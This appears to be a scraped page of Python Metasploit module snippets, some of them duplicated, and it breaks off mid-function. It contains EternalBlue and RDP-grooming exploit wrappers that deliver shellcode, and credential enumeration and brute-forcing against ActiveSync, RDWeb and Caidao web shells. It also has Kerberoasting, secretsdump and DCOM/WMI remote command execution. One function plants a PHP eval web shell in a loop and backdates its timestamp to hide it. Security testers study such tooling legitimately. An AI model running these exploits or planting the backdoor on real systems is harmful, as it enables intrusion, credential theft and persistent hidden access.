def exploit(args):
    if dependencies_missing:
        module.log('Module dependencies (impacket) missing, cannot continue',
                   'error')
        sys.exit(1)

    # XXX: Normalize strings to ints and unset options to empty strings
    rhost = args['RHOST']
    rport = int(args['RPORT'])
    ushellcode = b64decode(args['payload_encoded'])

    if len(ushellcode) > 600:
        module.log(
            'Shellcode too long. The place that this exploit put a shellcode is limited to {} bytes.'
            .format(600), 'error')
        sys.exit(1)

    module.log('shellcode size: {:d}'.format(len(ushellcode)))

    try:
        do_rce(rhost, rport, ushellcode)
    # XXX: Catch everything until we know better
    except Exception as e:
        module.log(str(e), 'error')
        sys.exit(1)

    module.log('done')
Пример #2
0
def run(args):
    if dependencies_missing:
        module.log('Python requests module missing, cannot continue', level='error')
        return
    scanner = login_scanner.make_scanner(
        lambda host, rport, username, password: valid_login(host, rport, username, password))
    scanner(args)
def check_user(url, user, password, timeout):
    """Exploit the difference in HTTP responses from the ActiveSync service to identify valid and invalid usernames.
    It was also identified that valid accounts with 2FA enabled can be distinguished from valid accounts without 2FA."""
    headers = {"MS-ASProtocolVersion": "14.0"}
    auth = (user, password)
    try:
        r = requests.options(url, headers=headers, auth=auth, timeout=timeout)
    except Exception as e:
        msg = "error checking {} : {}".format(user, e)
        if MSF:
            module.log(msg, "error")
        else:
            logging.error(msg)
        return user, UNKNOWN, None
    status = r.status_code
    if status == 401:
        return user, password, VALID_USER, r
    elif status == 404:
        if r.headers.get("X-CasErrorCode") == "UserNotFound":
            return user, password, INVALID_USER, r
    elif status == 403:
        return user, VALID_PASSWD_2FA, r
    elif status == 200:
        return user, password, VALID_LOGIN, r
    return user, password, UNKNOWN, r
Пример #4
0
def exploit(args):
    if dependencies_missing:
        module.log('Module dependencies (impacket) missing, cannot continue',
                   'error')
        return

    # XXX: Normalize strings to ints and unset options to empty strings
    rport = int(args['RPORT'])
    numGroomConn = int(args['GroomAllocations'])
    smbuser = args['SMBUser'] if 'SMBUser' in args else ''
    smbpass = args['SMBPass'] if 'SMBPass' in args else ''

    # XXX: JSON-RPC requires UTF-8, so we Base64-encode the binary payload
    sc = eternalblue_kshellcode_x64 + b64decode(args['payload_encoded'])

    if len(sc) > 0xe80:
        module.log(
            'Shellcode too long. The place that this exploit put a shellcode is limited to {} bytes.'
            .format(0xe80), 'error')
        sys.exit()

    # Now, shellcode is known. create a feaList
    feaList = createFeaList(len(sc))

    module.log('shellcode size: {:d}'.format(len(sc)))
    module.log('numGroomConn: {:d}'.format(numGroomConn))

    _exploit(args['RHOST'], rport, feaList, sc, numGroomConn, smbuser, smbpass)
    module.log('done')
def check_user(url, user, password, timeout):
    """Exploit the difference in HTTP responses from the ActiveSync service to identify valid and invalid usernames.
    It was also identified that valid accounts with 2FA enabled can be distinguished from valid accounts without 2FA."""
    headers = {"MS-ASProtocolVersion": "14.0"}
    auth = (user, password)
    try:
        r = requests.options(url, headers=headers, auth=auth, timeout=timeout)
    except Exception as e:
        msg = "error checking {} : {}".format(user, e)
        if MSF:
            module.log(msg, "error")
        else:
            logging.error(msg)
        return user, UNKNOWN, None
    status = r.status_code
    if status == 401:
        return user, password, VALID_USER, r
    elif status == 404:
        if r.headers.get("X-CasErrorCode") == "UserNotFound":
            return user, password, INVALID_USER, r
    elif status == 403:
        return user, VALID_PASSWD_2FA, r
    elif status == 200:
        return user, password, VALID_LOGIN, r
    return user, password, UNKNOWN, r
Пример #6
0
def check_login(rhost, rport, targeturi, domain, username, password, timeout, user_agent):
    """Check a single login against the RDWeb Client
    The timeout is used to specify the amount of milliseconds where a
    response should consider the username invalid."""

    url = f'https://{rhost}:{rport}/{targeturi}'
    body = f'DomainUserName={domain}%5C{username}&UserPass={password}'
    headers = {'Host':rhost,
               'User-Agent': user_agent,
               'Content-Type': 'application/x-www-form-urlencoded',
               'Content-Length': f'{len(body)}',
               'Origin': f'https://{rhost}'}
    session = requests.Session()
    report_data = {'domain':domain, 'address': rhost, 'port': rport,
                   'protocol': 'tcp', 'service_name':'RDWeb'}
    try:
        request = session.post(url, data=body, headers=headers,
                               timeout=(timeout / 1000), verify=False, allow_redirects=False)
        if request.status_code == 302:
            module.log(f'Login {domain}\\{username}:{password} is valid!', level='good')
            module.report_correct_password(username, password, **report_data)
        elif request.status_code == 200:
            module.log(f'Password {password} is invalid but {domain}\\{username} is valid! Response received in {request.elapsed.microseconds / 1000} milliseconds',
                       level='good')
            module.report_valid_username(username, **report_data)
        else:
            module.log(f'Received unknown response with status code: {request.status_code}')
    except requests.exceptions.Timeout:
        module.log(f'Login {domain}\\{username}:{password} is invalid! No response received in {timeout} milliseconds',
                   level='error')
    except requests.exceptions.RequestException as exc:
        module.log('{}'.format(exc), level='error')
        return
Пример #7
0
def run_upload(args):
    payload = """system('while true;do echo \\'<?php if(md5($_POST[{}])=="{}"){{@eval($_POST[{}]);}} ?>\\' >{};touch -m -d "2017-11-17 10:21:26" {};sleep 1;done;');""".format(
        args['upload_hash_password_name'],
        hashlib.md5(args['upload_hash_password'].encode()).hexdigest(),
        args['upload_password'],
        args['upload_file_name'],
        args['upload_file_name'],
    )
    logging.debug(payload)
    payload = b64encode(payload.encode()).decode()
    logging.debug(payload)
    data = {args['password']: '******'.format(payload)}
    send_payload(args, data)
    time.sleep(3)
    ## for check
    args['hash_password_name'] = args['upload_hash_password_name']
    args['hash_password'] = args['upload_hash_password']
    args['TARGETURI'] = '/' + args['upload_file_name']

    mark = ''.join(random.sample(string.ascii_letters, 10))
    result = run_exec(args, "echo '{}';".format(mark))
    logging.debug('result : [{}]'.format(result))
    if mark in result:
        module.log('{}://{}:{}{} success uploaded!!!'.format(
            args['SCHEMA'], args['RHOST'], args['RPORT'], args['TARGETURI']),
                   level='good')
Пример #8
0
def send_payload(args, data):
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
    }

    if args['hash_password_name'] != '' and args['hash_password'] != '':
        data[args['hash_password_name']] = args['hash_password']
        logging.debug(args['hash_password_name'])
        logging.debug(args['hash_password'])

    try:
        logging.debug('------------------send payload---------------')
        logging.debug('{}://{}:{}{}'.format(args['SCHEMA'], args['RHOST'],
                                            args['RPORT'], args['TARGETURI']))
        for k in data:
            logging.debug('{}:{}'.format(k, data[k]))

        r = requests.post('{}://{}:{}{}'.format(args['SCHEMA'], args['RHOST'],
                                                args['RPORT'],
                                                args['TARGETURI']),
                          data=data,
                          headers=headers,
                          verify=False,
                          timeout=2)
        if r.status_code == 200:
            module.log(r.text, 'good')
            return r.text
    except requests.exceptions.RequestException as e:
        logging.error(str(e))

    return ''
Пример #9
0
def main(args):
    """Setup worker threads and handle shutdown."""
    user_file = args['users']
    output_file = args['output']
    url = args['url']
    password = args['password']
    max_threads = args['threads']
    timeout = args['timeout']

    threads = []
    meta_threads = []
    max_size = max_threads / 2
    if max_size < 1:
        max_size = 1
    in_q = queue.Queue(maxsize=max_size)
    out_q = queue.Queue(maxsize=max_size)

    try:
        report_thread = threading.Thread(name="Thread-report",
                                         target=report,
                                         args=(out_q, output_file))
        report_thread.start()
        meta_threads.append(report_thread)

        file_thread = threading.Thread(name="Thread-inputfile",
                                       target=get_users,
                                       args=(user_file, in_q, max_threads))
        file_thread.start()
        meta_threads.append(file_thread)

        for num in range(max_threads):
            t = threading.Thread(name="Thread-worker{}".format(num),
                                 target=check_users,
                                 args=(in_q, out_q, url, password, timeout))
            t.start()
            threads.append(t)

        for thread in threads:
            while thread.is_alive():
                thread.join(timeout=0.1)
        out_q.put(DIE)
        for thread in meta_threads:
            while thread.is_alive():
                thread.join(timeout=0.1)

    except KeyboardInterrupt as e:
        msg = "Received KeyboardInterrupt - shutting down"
        if MSF:
            module.log(msg, "critical")
        else:
            logging.critical(msg)
        SHUTDOWN_EVENT.set()

        for thread in threads:
            while thread.is_alive():
                thread.join(timeout=0.1)
        out_q.put(DIE)
        for thread in meta_threads:
            while thread.is_alive():
                thread.join(timeout=0.1)
def exploit(args):
    if dependencies_missing:
        module.log('Module dependencies (impacket) missing, cannot continue', 'error')
        return

    # XXX: Normalize strings to ints and unset options to empty strings
    rport = int(args['RPORT'])
    numGroomConn = int(args['GroomAllocations'])
    smbuser = args['SMBUser'] if 'SMBUser' in args else ''
    smbpass = args['SMBPass'] if 'SMBPass' in args else ''

    # XXX: JSON-RPC requires UTF-8, so we Base64-encode the binary payload
    sc = eternalblue_kshellcode_x64 + b64decode(args['payload_encoded'])

    if len(sc) > 0xe80:
        module.log('Shellcode too long. The place that this exploit put a shellcode is limited to {} bytes.'.format(0xe80), 'error')
        sys.exit()

    # Now, shellcode is known. create a feaList
    feaList = createFeaList(len(sc))

    module.log('shellcode size: {:d}'.format(len(sc)))
    module.log('numGroomConn: {:d}'.format(numGroomConn))

    _exploit(args['RHOST'], rport, feaList, sc, numGroomConn, smbuser, smbpass)
    module.log('done')
Пример #11
0
def check_banner(args):
    module.log('{}:{} Starting banner check for Haraka < 2.8.9'.format(
        args['rhost'], args['rport']),
               level='debug')
    c = smtplib.SMTP()
    try:
        (code, banner) = c.connect(args['rhost'], int(args['rport']))
    except:
        return 'unknown'

    c.quit()

    if code == 220 and 'Haraka' in banner:
        versions = re.findall('(\d+\.\d+\.\d+)', banner)
        if versions:
            if StrictVersion(versions[0]) < StrictVersion('2.8.9'):
                return 'appears'
            else:
                return 'safe'
        else:
            return 'detected'
    elif code == 220:
        return 'detected'
    else:
        return 'unknown'
Пример #12
0
def get_ad_domain(rhost, rport, user_agent):
    """Retrieve the NTLM domain out of a specific challenge/response"""
    domain_urls = [
        'aspnet_client', 'Autodiscover', 'ecp', 'EWS', 'OAB',
        'Microsoft-Server-ActiveSync', 'PowerShell', 'rpc'
    ]
    headers = {
        'Authorization':
        'NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==',
        'User-Agent': user_agent,
        'Host': rhost
    }
    session = requests.Session()
    for url in domain_urls:
        target_url = f"https://{rhost}:{rport}/{url}"
        request = session.get(target_url, headers=headers, verify=False)
        # Decode the provided NTLM Response to strip out the domain name
        if request.status_code == 401 and 'WWW-Authenticate' in request.headers and \
          'NTLM' in request.headers['WWW-Authenticate']:
            domain_hash = request.headers['WWW-Authenticate'].split(
                'NTLM ')[1].split(',')[0]
            domain = base64.b64decode(bytes(domain_hash, 'utf-8')).replace(
                b'\x00', b'').split(b'\n')[1]
            domain = domain[domain.index(b'\x0f') +
                            1:domain.index(b'\x02')].decode('utf-8')
            module.log(f'Found Domain: {domain}', level='good')
            return domain
    module.log('Failed to find Domain', level='error')
    return None
def search_hal_heap(ip, port):
    global PHALP_INTERRUPT
    global PHALP_APIC_INTERRUPT
    search_len = 0x10000

    index = PHAL_HEAP
    page_index = PHAL_HEAP
    cons = 0
    phys_addr = 0

    while index < PHAL_HEAP + search_len:

        # It seems that pages in the HAL heap are not necessarily contiguous in physical memory,
        # so we try to reduce number of reads like this

        if not (index & 0xFFF):
            phys_addr = get_phys_addr(ip, port, index)
        else:
            phys_addr = (phys_addr & 0xFFFFFFFFFFFFF000) + (index & 0xFFF)

        buff = read_physmem_primitive(ip, port, phys_addr)

        if buff is None:
            sys.exit("[-] physical read primitive failed!")

        entry_indices = 8 * (((len(buff) + 8 // 2) // 8) - 1)
        i = 0

        # This heuristic seems to be OK to find HalpInterruptController, but could use improvement
        while i < entry_indices:
            entry = struct.unpack("<Q", buff[i:i + 8])[0]
            i += 8
            if (entry & 0xFFFFFF0000000000) != 0xFFFFF80000000000:
                cons = 0
                continue
            cons += 1
            if cons > 3:
                PHALP_INTERRUPT = index + i - 0x40
                module.log("found HalpInterruptController at %lx" %
                           PHALP_INTERRUPT)

                if len(buff) < i + 0x40:
                    buff = read_physmem_primitive(ip, port,
                                                  phys_addr + i + 0x38)
                    PHALP_APIC_INTERRUPT = struct.unpack("<Q", buff[0:8])[0]

                    if buff is None:
                        sys.exit("[-] physical read primitive failed!")
                else:
                    PHALP_APIC_INTERRUPT = struct.unpack(
                        "<Q", buff[i + 0x38:i + 0x40])[0]

                module.log("found HalpApicRequestInterrupt at %lx" %
                           PHALP_APIC_INTERRUPT)

                return
        index += entry_indices

    sys.exit("[-] failed to find HalpInterruptController!")
def report(out_q, output_file):
    """Thread worker function. Output to terminal and file."""
    msf_template = "{code} {valid} {user}:{password}"
    template = "[{s}] {code} {valid} {user}:{password}"
    symbols = {
        VALID_USER: "******",
        INVALID_USER: "******",
        VALID_PASSWD_2FA: "#",
        VALID_LOGIN: "******",
        UNKNOWN: "?"
    }

    while not SHUTDOWN_EVENT.is_set():
        try:
            result = out_q.get()
        except queue.Empty as e:
            msg = "report: out_q empty"
            if MSF:
                module.log(msg, "debug")
            else:
                logging.debug(msg)
            continue
        if result == DIE:
            out_q.task_done()
            msg = "report thread dying."
            if MSF:
                module.log(msg, "debug")
            else:
                logging.debug(msg)
            break
        else:
            user, password, valid, r = result
            if r is None:
                code = "???"
            else:
                code = r.status_code
            s = symbols.get(valid)
            output = template.format(s=s, code=code, valid=valid, user=user, password=password)
            if MSF:
                msf_output = msf_template.format(code=code, valid=valid, user=user, password=password)
                msf_reporters = {
                    VALID_USER: module.report_wrong_password,
                    VALID_PASSWD_2FA: module.report_correct_password,
                    VALID_LOGIN: module.report_correct_password
                }
                module.log(msf_output, "debug")
                msf_reporter = msf_reporters.get(valid)
                if msf_reporter is not None:
                    msf_reporter(user, password)
                if valid in [VALID_LOGIN, VALID_PASSWD_2FA, VALID_USER]:
                    module.log(msf_output, "good")
                else:
                    module.log(msf_output, "error")
            else:
                logging.info(output)
            if output_file:
                with open(output_file, "a", 1) as f:
                    f.write("{}\n".format(output))
            out_q.task_done()
def report(out_q, output_file):
    """Thread worker function. Output to terminal and file."""
    msf_template = "{code} {valid} {user}:{password}"
    template = "[{s}] {code} {valid} {user}:{password}"
    symbols = {
        VALID_USER: "******",
        INVALID_USER: "******",
        VALID_PASSWD_2FA: "#",
        VALID_LOGIN: "******",
        UNKNOWN: "?"
    }

    while not SHUTDOWN_EVENT.is_set():
        try:
            result = out_q.get()
        except queue.Empty as e:
            msg = "report: out_q empty"
            if MSF:
                module.log(msg, "debug")
            else:
                logging.debug(msg)
            continue
        if result == DIE:
            out_q.task_done()
            msg = "report thread dying."
            if MSF:
                module.log(msg, "debug")
            else:
                logging.debug(msg)
            break
        else:
            user, password, valid, r = result
            if r is None:
                code = "???"
            else:
                code = r.status_code
            s = symbols.get(valid)
            output = template.format(s=s, code=code, valid=valid, user=user, password=password)
            if MSF:
                msf_output = msf_template.format(code=code, valid=valid, user=user, password=password)
                msf_reporters = {
                    VALID_USER: module.report_wrong_password,
                    VALID_PASSWD_2FA: module.report_correct_password,
                    VALID_LOGIN: module.report_correct_password
                }
                module.log(msf_output, "debug")
                msf_reporter = msf_reporters.get(valid)
                if msf_reporter is not None:
                    msf_reporter(user, password)
                if valid in [VALID_LOGIN, VALID_PASSWD_2FA, VALID_USER]:
                    module.log(msf_output, "good")
                else:
                    module.log(msf_output, "error")
            else:
                logging.info(output)
            if output_file:
                with open(output_file, "a", 1) as f:
                    f.write("{}\n".format(output))
            out_q.task_done()
Пример #16
0
def run(args):
    module.LogHandler.setup(
        msg_prefix='{}:{} - '.format(args['rhost'], args['RPORT']))

    if dependencies_missing:
        logging.error(
            'Module dependency (requests) is missing, cannot continue.')
        logging.error('use (pip install requests) to install the dependency.')
        return
    ##
    logging.debug('Module path:{}'.format(__file__))
    ##
    pass_file = args["PASS_FILE"]
    if pass_file == '':
        pass_file = os.path.join(os.path.dirname(__file__), 'caidao_pass.txt')

    try:
        with open(pass_file) as f:
            passwords = f.readlines()
    except FileNotFoundError as e:
        logging.warning('Can`t  find the pass file:{}.'.format(pass_file))
        return

    headers = {
        "User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
    }
    try:
        for password in passwords:
            password = password[:-1]
            mark = ''.join(random.sample(string.ascii_letters, 10))
            data = {password: '******'.format(mark)}
            r = requests.post('{}://{}:{}{}'.format(args['SCHEMA'],
                                                    args['rhost'],
                                                    args['RPORT'],
                                                    args['TARGETURI']),
                              data=data,
                              headers=headers,
                              verify=False,
                              timeout=4)
            if mark in r.text:
                module.log('{} - Success:{}'.format(args['rhost'], password),
                           level='good')
                module.report_correct_password('', password)

                with open(os.path.basename(__file__) + '.success.log',
                          'a') as f:
                    f.write('{}://{}:{}{} {}\n'.format(args['SCHEMA'],
                                                       args['rhost'],
                                                       args['RPORT'],
                                                       args['TARGETURI'],
                                                       password))
                    f.flush()
                return
            else:
                logging.error('Failed: {}'.format(password))
            r.close()
    except requests.exceptions.RequestException as e:
        logging.error('{}'.format(e))
Пример #17
0
def run(args):
    if dependencies_missing:
        module.log('Module dependencies (impacket, pyasn1, pyOpenSSL) missing, cannot continue', level='error')
        return

    options = {}
    options['dc_ip'] = args['rhost']
    executer = GetUserSPNs(args['user'], args['pass'], args['domain'], options)
    executer.run()
Пример #18
0
def run(args):
    if dependencies_missing:
        module.log('Module dependencies (impacket, pyasn1, pyOpenSSL) missing, cannot continue', level='error')
        return

    options = {}
    options['dc_ip'] = args['rhost']
    executer = GetUserSPNs(args['user'], args['pass'], args['domain'], options)
    executer.run()
Пример #19
0
def get_guestSid(req):
    try:
        guestSid = req.headers["Set-Cookie"].split(
            'X-BackEndCookie=')[1].split(';')[0]
        module.log("Guest SID: " + guestSid, "good")
        return guestSid
    except Exception as e:
        module.log("get guest SID error:" + str(e), "error")
        return None
Пример #20
0
def run(args):
    if dependencies_missing:
        module.log('Module dependencies (impacket) missing, cannot continue', level='error')
        return

    _msf_impacket.pre_run_hook(args)
    executer = DCOMEXEC(args['COMMAND'], args['SMBUser'], args['SMBPass'], args['SMBDomain'], 
                        share='ADMIN$', noOutput=args['OUTPUT'] != 'true', dcomObject=args['OBJECT'])
    executer.run(args['rhost'])
Пример #21
0
def run(args):
    if dependencies_missing:
        module.log('Module dependencies (impacket) missing, cannot continue', level='error')
        return

    _msf_impacket.pre_run_hook(args)
    executer = WMIEXEC(args['COMMAND'], args['SMBUser'], args['SMBPass'], args['SMBDomain'], 
                        share='ADMIN$', noOutput=args['OUTPUT'] != 'true')
    executer.run(args['rhost'])
Пример #22
0
def run(args):
    if dependencies_missing:
        module.log('Python requests module missing, cannot continue',
                   level='error')
        return
    scanner = login_scanner.make_scanner(
        lambda host, rport, username, password: valid_login(
            host, rport, username, password))
    scanner(args)
def exploit(args):
    #msfprint(args, repr(args))
    #msfprint(args, dir(args))
    try:
        exploit_foreal(args)
    # XXX: Catch everything until we know better
    except Exception as e:
        module.log(str(e), 'error')
        sys.exit(1)
Пример #24
0
def exploit(args):
    module.args = args

    try:
        start = time.time()
        # fix MSF stuff
        args['RPORT'] = int(args['RPORT'])
        args['GROOMSIZE'] = int(args['GROOMSIZE'])
        args['GROOMBASE'] = int(args['GROOMBASE'])

        if args['EXITFUNC'] != 'thread':
            module.log("ERROR: set EXITFUNC thread", 'error')
            sys.exit(1)

        module.args = args

        #vprint_status("Args: " + repr(args))

        protocol_str = 'PROTOCOL_' + args['SSLVersion']
        protocol = getattr(ssl, protocol_str) \
                if hasattr(ssl, protocol_str) \
                else ssl.PROTOCOL_TLSv1

        rdp = RdpClient(args['RHOST'],
                        args['RPORT'],
                        protocol,
                        print_func=dummy_print)

        groom = GroomStrategy.factory(rdp, args)

        if not groom:
            print_bad("Invalid groom strategy: %s" % (args['GROOM']))
            sys.exit(-1)

        rdp.add_channel(ExploitRdpdrChannel(groom))  # "rdpdr"
        rdp.add_channel(RdpChannel("rdpsnd"))
        rdp.add_channel(RdpChannel("cliprdr"))
        rdp.add_channel(RdpChannel("MS_XXX0"))
        rdp.add_channel(RdpChannel("MS_XXX1"))
        rdp.add_channel(RdpChannel("MS_XXX2"))
        rdp.add_channel(RdpChannel("MS_XXX3"))
        rdp.add_channel(RdpChannel("MS_XXX4"))
        rdp.add_channel(RdpChannel("MS_XXX5"))
        rdp.add_channel(RdpChannel("MS_T120"))

        groom.before_connect()

        print_status("Connecting to the target...")
        rdp.connect()
    except Exception as e:
        print_bad(str(e))
        print_status(traceback.format_exc())
        sys.exit(1)
    finally:
        print_status("Exploit completed in %d seconds." %
                     (time.time() - start))
Пример #25
0
def run(args):
    if dependencies_missing:
        module.log('Python Teradata module missing, cannot continue', level=error)
        return

    # Define UdaExec ODBC connection "application" globally, must be before LogHandler
    udaExec = teradata.UdaExec(appName="Auth", version="1.0", logConsole=False, configureLogging=False)
    module.LogHandler.setup(msg_prefix='{}:{} - '.format(args['rhost'], 1025))
    scanner = login_scanner.make_scanner(lambda host, port, username, password: valid_login(udaExec, host, username, password))
    scanner(args)
def find_pml4_selfref(ip, port):
    global PML4_SELFREF
    self_ref = search_selfref(ip, port)

    if self_ref is None:
        sys.exit("[-] failed to find PML4 self reference entry!")

    PML4_SELFREF = (self_ref & 0xFFF) >> 3

    module.log("found PML4 self-ref entry %0x" % PML4_SELFREF)
Пример #27
0
def print_status_counter(description, i, bound, start=0x0):
    modu = int(bound / 100)
    if (i != 0 and i + 1 != bound) and (i % modu != 0):
        return

    perc = int((i + 1) / bound * 100)
    msg = "%s - %d%%" % (full_msg(description), perc)
    if i + 1 != bound:
        msg = msg + "\033[F\r"
    module.log(msg)
def run(args):
    if dependencies_missing:
        module.log('Python Teradata module missing, cannot continue', level=error)
        return

    # Define UdaExec ODBC connection "application" globally, must be before LogHandler
    udaExec = teradata.UdaExec(appName="Auth", version="1.0", logConsole=False, configureLogging=False)
    module.LogHandler.setup(msg_prefix='{}:{} - '.format(args['rhost'], 1025))
    scanner = login_scanner.make_scanner(lambda host, port, username, password: valid_login(udaExec, host, username, password))
    scanner(args)
def main(args):
    """Setup worker threads and handle shutdown."""
    user_file = args['users']
    output_file = args['output']
    url = args['url']
    password = args['password']
    max_threads = args['threads']
    timeout = args['timeout']

    threads = []
    meta_threads = []
    max_size = max_threads / 2
    if max_size < 1:
        max_size = 1
    in_q = queue.Queue(maxsize=max_size)
    out_q = queue.Queue(maxsize=max_size)

    try:
        report_thread = threading.Thread(name="Thread-report", target=report, args=(out_q, output_file))
        report_thread.start()
        meta_threads.append(report_thread)

        file_thread = threading.Thread(name="Thread-inputfile", target=get_users, args=(user_file, in_q, max_threads))
        file_thread.start()
        meta_threads.append(file_thread)

        for num in range(max_threads):
            t = threading.Thread(name="Thread-worker{}".format(num), target=check_users,
                                 args=(in_q, out_q, url, password, timeout))
            t.start()
            threads.append(t)

        for thread in threads:
            while thread.is_alive():
                thread.join(timeout=0.1)
        out_q.put(DIE)
        for thread in meta_threads:
            while thread.is_alive():
                thread.join(timeout=0.1)

    except KeyboardInterrupt as e:
        msg = "Received KeyboardInterrupt - shutting down"
        if MSF:
            module.log(msg, "critical")
        else:
            logging.critical(msg)
        SHUTDOWN_EVENT.set()

        for thread in threads:
            while thread.is_alive():
                thread.join(timeout=0.1)
        out_q.put(DIE)
        for thread in meta_threads:
            while thread.is_alive():
                thread.join(timeout=0.1)
Пример #30
0
def run(args):
    host = args['rhost']
    port = int(args['rport'])
    module.log("Creating sockets...", 'info')

    exp = json.dumps({'id': 1, 'jsonrpc': '1.0', 'method': '%n'}).encode()
    try:
        s = socket.create_connection((host, port), 10)
        s.send(exp)
        s.close()
    except socket.error:
        module.log("connect error exit")
async def run_scanner(payload, pattern, args, onmatch, **timeouts):
    probes = [probe_host(host, int(args['rport']), payload, **timeouts) for host in args['rhosts']]
    async for (target, res) in Scan(probes):
        if isinstance(res, Exception):
            module.log('{}:{} - Error connecting: {}'.format(*target, res), level='error')
        elif res and re.search(pattern, res):
            module.log('{}:{} - Matches'.format(*target), level='good')
            module.log('{}:{} - Matches with: {}'.format(*target, res), level='debug')
            onmatch(target, res)
        else:
            module.log('{}:{} - Does not match'.format(*target), level='info')
            module.log('{}:{} - Does not match with: {}'.format(*target, res), level='debug')
def run(args):
    """Metasploit callback.
    Convert args to lowercase for internal compatibility."""
    if dependencies_missing:
        module.log("Module dependency (requests) is missing, cannot continue")
        return
    args['TIMEOUT'] = float(args['TIMEOUT'])
    args['THREADS'] = int(args['THREADS'])
    lower_args = {}
    for arg in args:
        lower_args[arg.lower()] = args[arg]
    main(lower_args)
def run(args):
    host = args['rhost']
    port = int(args['rport'])
    module.log("Creating sockets...", 'info')

    exp = json.dumps({'id': 1, 'jsonrpc': '1.0', 'method': '%n'}).encode()
    try:
        s = socket.create_connection((host, port), 10)
        s.send(exp)
        s.close()
    except socket.error:
        module.log("connect error exit")
def run(args):
    """Metasploit callback.
    Convert args to lowercase for internal compatibility."""
    if dependencies_missing:
        module.log("Module dependency (requests) is missing, cannot continue")
        return
    args['TIMEOUT'] = float(args['TIMEOUT'])
    args['THREADS'] = int(args['THREADS'])
    lower_args = {}
    for arg in args:
        lower_args[arg.lower()] = args[arg]
    main(lower_args)
Пример #35
0
def run(args):
    host = args['rhost']
    port = int(args['rport'])
    module.log("Creating sockets...", 'info')

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    exp = '''{"id": 1,"jsonrpc": "1.0","method": "%n"}'''
    try:
        s.connect((host, port))
        s.send(bytes(exp, 'utf-8'))
        s.close()
    except socket.error:
        module.log("connect error exit")
Пример #36
0
def print_sleep(description, seconds, client, tpkts):
    seconds = int(seconds)
    while True:
        msg = "%s - %d sec    " % (full_msg(description), seconds)
        if seconds == 0:
            module.log(msg)
            break

        msg = msg + "\033[F\r"
        seconds -= 1
        module.log(msg)
        client.transport_write(tpkts)
        time.sleep(1)
Пример #37
0
def run(args):
    """Execute wrapper using provided arguments."""
    module.LogHandler.setup(msg_prefix="{} - ".format(args["RHOSTS"]))
    if DEPENDENCIES_MISSING:
        logging.error("Module dependency (requests) is missing, cannot continue")
        return

    try:
        cotopaxi_output = common_utils.scrap_output(
            main, [args["RHOSTS"], args["RPORTS"], "-P", "DTLS"]
        )
        module.log(cotopaxi_output, "error")
        start_index = cotopaxi_output.find("Identified issues:")
        end_index = cotopaxi_output.find("Total number", start_index)
        if start_index < 0 or end_index < 0:
            raise Exception("Incorrect format of Cotopaxi response!")
        protocol_services = cotopaxi_output[
            start_index + 2 : end_index - 1
        ].splitlines()[1:]
        for protocol_service in protocol_services:
            name_start = protocol_service.find("Protocol.")
            name_end = protocol_service.find(":", name_start)
            proto_name = protocol_service[name_start + len("Protocol.") : name_end]
            services = protocol_service[name_end + 3 : -1].split(",")
            for service in services:
                service = service.strip(" '")
                service = service.split(":")
                service_ip = service[0]
                service_port = service[1].split(" ")[0]
                vuln_name = service[2]
                transport_proto = (
                    PROTOCOL_TESTERS[getattr(Protocol, proto_name)]
                    .transport_protocol()
                    .__name__
                )
                module.log(
                    "Found service - host: {} port: {} proto: {} over {}".format(
                        service_ip, service_port, proto_name, transport_proto
                    ),
                    "error",
                )
                module.log(
                    "Found vulnerability - host: {} port: {} name: {} ".format(
                        service_ip, service_port, vuln_name
                    ),
                    "error",
                )
                module.report_service(
                    service_ip,
                    proto=transport_proto.lower(),
                    port=service_port,
                    name=proto_name.lower(),
                )
                module.report_vuln(
                    service_ip, name=vuln_name, References="Cotopaxi docs"
                )
    except Exception as exc:
        module.log("Error: {}".format(exc), "error")
        logging.error(traceback.format_exc())
        return
Пример #38
0
def run(args):
    if dependencies_missing:
        module.log('Module dependencies (impacket) missing, cannot continue',
                   level='error')
        return

    _msf_impacket.pre_run_hook(args)
    dumper = DumpSecrets(args['rhost'], args['SMBUser'], args['SMBPass'],
                         args['SMBDomain'], args['OutputFile'],
                         args['ExecMethod'])
    try:
        dumper.dump()
    except Exception as e:
        logging.error(e, exc_info=True)
Пример #39
0
def valid_login(host, rport, username, password):
    payload = {
        "jsonrpc": "2.0", "id": 0, "method": "call", "params": ["0" * 32, "session", "login",
                                                                {
                                                                    "username": username,
                                                                    "password": password
                                                                }]}
    url = 'http://' + str(host) + ':' + str(rport) + '/ubus'
    session = requests.Session()
    try:
        request = session.post(url, json=payload)
        response = json.loads(request.text)
        if response['result'][0] != 6 and len(response['result']) > 1:
            ubus_rpc_session = response['result'][1]['ubus_rpc_session']
            module.log('Ubus RPC Session: ' + ubus_rpc_session, level='good')
        else:
            return False
    except requests.exceptions.ConnectionError:
        module.log("Unhandled exception: ConnectionError", level='error')
        return False
    except ValueError:
        module.log("Unhandled exception: Response JSON DecodeError", level='error')
        return False
    except KeyError:
        module.log("Unhandled exception: Dictionary KerError in Response", level='error')
        return False
    else:
        return True
Пример #40
0
def load_wordlist(args):
    user_list = []
    pw_list = []
    with open(args['USER_FILE'], "r", encoding="utf-8") as user_file:
        for user in user_file:
            user = user.strip("\n")
            user_list.append(user)
    module.log("users loaded", "debug")
    with open(args['PASS_FILE'], "r", encoding="utf-8") as pwfile:
        for password in pwfile:
            password = password.strip("\n")
            pw_list.append(password)
    module.log("passwords loaded", "debug")
    return user_list, pw_list
Пример #41
0
def verify_service(rhost, rport, targeturi, timeout, user_agent):
    """Verify the service is up at the target URI within the specified timeout"""
    url = f'https://{rhost}:{rport}/{targeturi}'
    headers = {'Host':rhost,
               'User-Agent': user_agent}
    try:
        request = requests.get(url, headers=headers, timeout=(timeout / 1000),
                               verify=False, allow_redirects=False)
        return request.status_code == 200 and 'RDWeb' in request.text
    except requests.exceptions.Timeout:
        return False
    except Exception as exc:
        module.log(str(exc), level='error')
        return False
def get_users(user_file, in_q, max_threads):
    """Thread worker function. Load candidate usernames from file into input queue."""
    with open(user_file, "r") as f:
        for line in f:
            if SHUTDOWN_EVENT.is_set():
                break
            user = line.strip()
            msg = "user = {}".format(user)
            if MSF:
                module.log(msg, "debug")
            else:
                logging.debug(msg)
            in_q.put(user)
    for _ in range(max_threads):
        in_q.put(DIE)
def sendEcho(conn, tid, data):
